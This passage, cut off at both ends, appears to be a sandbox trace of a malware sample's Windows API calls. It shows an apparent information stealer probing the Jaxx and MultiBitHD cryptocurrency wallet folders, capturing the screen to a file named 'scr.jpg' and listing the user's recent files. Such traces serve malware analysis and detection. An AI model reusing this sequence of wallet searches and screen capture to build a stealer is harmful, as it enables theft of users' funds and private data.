HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0075.166] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0075.166] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0075.166] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0075.166] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0075.166] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0075.166] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0075.166] SysReAllocStringLen (in: pbstr=0x23201d8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x23201d8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0075.166] SysReAllocStringLen (in: pbstr=0x18e5bc*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0075.166] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0075.166] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0075.166] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0075.166] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0075.166] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0075.166] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0075.166] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\*", len=0x43 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\*") returned 1 [0075.166] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\*", len=0x43 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\*") returned 1 [0075.166] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\*", len=0x43 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\*") returned 1 [0075.166] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\*", len=0x42 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\*") returned 1 [0075.167] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\*", len=0x42 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\*") returned 1 [0075.167] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\*", len=0x42 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\*") returned 1 [0075.167] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\*", len=0x42 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\*") returned 1 [0075.167] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\*", lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.167] SysReAllocStringLen (in: pbstr=0x18e5b8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\", len=0x42 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\") returned 1 [0075.167] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\", len=0x42 | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\") returned 1 [0075.167] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\", len=0x42 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\") returned 1 [0075.167] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0075.167] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0075.167] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.167] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.167] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\MultiBitHD\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\MultiBitHD\\") returned 0x3a [0075.167] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\MultiBitHD\\*", lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.167] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.167] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.168] GetSystemMetrics (nIndex=1) returned 900 [0075.168] GetSystemMetrics (nIndex=0) returned 1440 [0075.184] GdiplusStartup (in: token=0x18e674, input=0x18e64c, output=0x0 | out: token=0x18e674, output=0x0) returned 0x0 [0075.272] GetDC (hWnd=0x0) returned 0x11010274 [0075.272] CreateCompatibleDC (hdc=0x0) returned 0x5010934 [0075.272] CreateCompatibleBitmap (hdc=0x11010274, cx=1440, cy=900) returned 0xd050935 [0075.308] SelectObject (hdc=0x5010934, h=0xd050935) returned 0x185000f [0075.308] BitBlt (hdc=0x5010934, x=0, y=0, cx=1440, cy=900, hdcSrc=0x11010274, x1=0, y1=0, rop=0xcc0020) returned 1 [0075.322] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x18e66c | out: ppstm=0x18e66c*=0x6d1660) returned 0x0 [0075.356] GdipCreateBitmapFromHBITMAP (hbm=0xd050935, hpal=0x0, bitmap=0x18e670) returned 0x0 [0075.509] GdipGetImageEncodersSize (numEncoders=0x18e5b0, size=0x18e5ac) returned 0x0 [0075.509] VirtualAlloc (lpAddress=0x4538000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x4538000 [0075.511] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x4534018 | out: encoders=0x4534018) returned 0x0 [0075.512] wcscmp (_String1="image/bmp", _String2="image/jpeg") returned -1 [0075.512] wcscmp (_String1="image/jpeg", _String2="image/jpeg") returned 0 [0075.512] VirtualFree (lpAddress=0x4538000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0075.558] GdipSaveImageToStream (image=0x4ba2230, stream=0x6d1660, clsidEncoder=0x18e5f4*(Data1=0x557cf401, Data2=0x1a04, Data3=0x11d3, Data4=([0]=0x9a, [1]=0x73, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1e, [6]=0xf3, [7]=0x2e)), encoderParams=0x18e5d4) returned 0x0 [0076.210] IStream:Stat (in: This=0x6d1660, pstatstg=0x18e604, grfStatFlag=0x1 | out: pstatstg=0x18e604) returned 0x0 [0076.210] GetHGlobalFromStream (in: pstm=0x6d1660, phglobal=0x18e668 | out: phglobal=0x18e668) returned 0x0 [0076.210] GlobalLock (hMem=0x3120004) returned 0x48e2de8 [0076.211] VirtualAlloc (lpAddress=0x4538000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x4538000 [0076.212] GdipDisposeImage (image=0x4ba2230) returned 0x0 [0076.283] GlobalUnlock (hMem=0x3120004) returned 0 [0076.283] DeleteObject (ho=0xd050935) returned 1 [0076.283] DeleteDC (hdc=0x5010934) returned 1 [0076.283] ReleaseDC (hWnd=0x0, hDC=0x11010274) returned 1 [0076.283] GdiplusShutdown (token=0x20a3c) [0076.318] IUnknown:Release (This=0x6d1660) returned 0x0 [0076.318] CharToOemBuffA (in: lpszSrc="scr.jpg", lpszDst=0x452be88, cchDstLength=0x7 | out: lpszDst="scr.jpg") returned 1 [0076.319] VirtualAlloc (lpAddress=0x454c000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x454c000 [0076.319] VirtualFree (lpAddress=0x4548000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0076.320] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x454c00c, Length=0x128ed) returned 0x25af275b [0076.320] VirtualAlloc (lpAddress=0x4560000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0x4560000 [0076.322] VirtualFree (lpAddress=0x454c000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0076.397] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3985c54, cbMultiByte=3, lpWideCharStr=0x18d684, cchWideChar=2047 | out: lpWideCharStr="100\x18൯ഊ嬊〲㜱〭ⴶ㔰〠㨱ㄵ㔺崸ഠ栊瑴㩰⼯睷⹷獭⹮潣⽭漿楣㵤敩灨਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨱㠵⁝਍瑨灴⼺术⹯業牣獯景⹴潣⽭睦楬歮㼯楌歮摉㘽ㄹ㜵਍਍") returned 3 [0076.397] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\Windows\\Recent\\\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\") returned 0x49 [0076.397] SysReAllocStringLen (in: pbstr=0x18e67c*="%APPDATA%\\Microsoft\\Windows\\Recent\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\", len=0x48 | out: pbstr=0x18e67c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\") returned 1 [0076.397] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr=".txt", cchWideChar=4, lpMultiByteStr=0x18d340, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".txti", lpUsedDefaultChar=0x0) returned 4 [0076.397] SysReAllocStringLen (in: pbstr=0x18e3ec*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\", len=0x48 | out: pbstr=0x18e3ec*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\") returned 1 [0076.397] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\", len=0x48 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\") returned 1 [0076.397] SysReAllocStringLen (in: pbstr=0x18e3ec*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\", len=0x48 | out: pbstr=0x18e3ec*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\") returned 1 [0076.397] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", len=0x47 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned 1 [0076.397] SysReAllocStringLen (in: pbstr=0x18e3ec*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", len=0x47 | out: pbstr=0x18e3ec*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned 1 [0076.397] SysReAllocStringLen (in: pbstr=0x18e338*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", len=0x47 | out: pbstr=0x18e338*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned 1 [0076.398] SysReAllocStringLen (in: pbstr=0x18e3ec*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", len=0x47 | out: pbstr=0x18e3ec*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned 1 [0076.398] SysReAllocStringLen (in: pbstr=0x455c08c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", len=0x47 | out: pbstr=0x455c08c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned 1 [0076.398] SysReAllocStringLen (in: pbstr=0x18e668*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", len=0x47 | out: pbstr=0x18e668*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned 1 [0076.398] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", len=0x47 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned 1 [0076.398] SysReAllocStringLen (in: pbstr=0x18e668*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", len=0x47 | out: pbstr=0x18e668*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned 1 [0076.398] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", len=0x47 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned 1 [0076.398] SysReAllocStringLen (in: pbstr=0x18e668*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", len=0x47 | out: pbstr=0x18e668*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned 1 [0076.398] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", len=0x47 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned 1 [0076.398] SysReAllocStringLen (in: pbstr=0x18e668*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", len=0x47 | out: pbstr=0x18e668*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned 1 [0076.398] SysReAllocStringLen (in: pbstr=0x18e3e8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\*", len=0x49 | out: pbstr=0x18e3e8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\*") returned 1 [0076.398] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\*", len=0x49 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\*") returned 1 [0076.398] SysReAllocStringLen (in: pbstr=0x18e3e8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\*", len=0x49 | out: pbstr=0x18e3e8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\*") returned 1 [0076.398] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*", len=0x48 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*") returned 1 [0076.398] SysReAllocStringLen (in: pbstr=0x18e3e8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*", len=0x48 | out: pbstr=0x18e3e8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*") returned 1 [0076.398] SysReAllocStringLen (in: pbstr=0x18e338*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*", len=0x48 | out: pbstr=0x18e338*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*") returned 1 [0076.398] SysReAllocStringLen (in: pbstr=0x18e3e8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*", len=0x48 | out: pbstr=0x18e3e8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*") returned 1 [0076.398] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*", lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9e3fdaa0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9e3fdaa0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66e488 [0076.399] SysReAllocStringLen (in: pbstr=0x18e664*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\.", len=0x49 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\.") returned 1 [0076.399] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\.", len=0x49 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\.") returned 1 [0076.399] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\.", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\.", len=0x49 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\.") returned 1 [0076.399] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\.", len=0x48 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\.") returned 1 [0076.399] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS 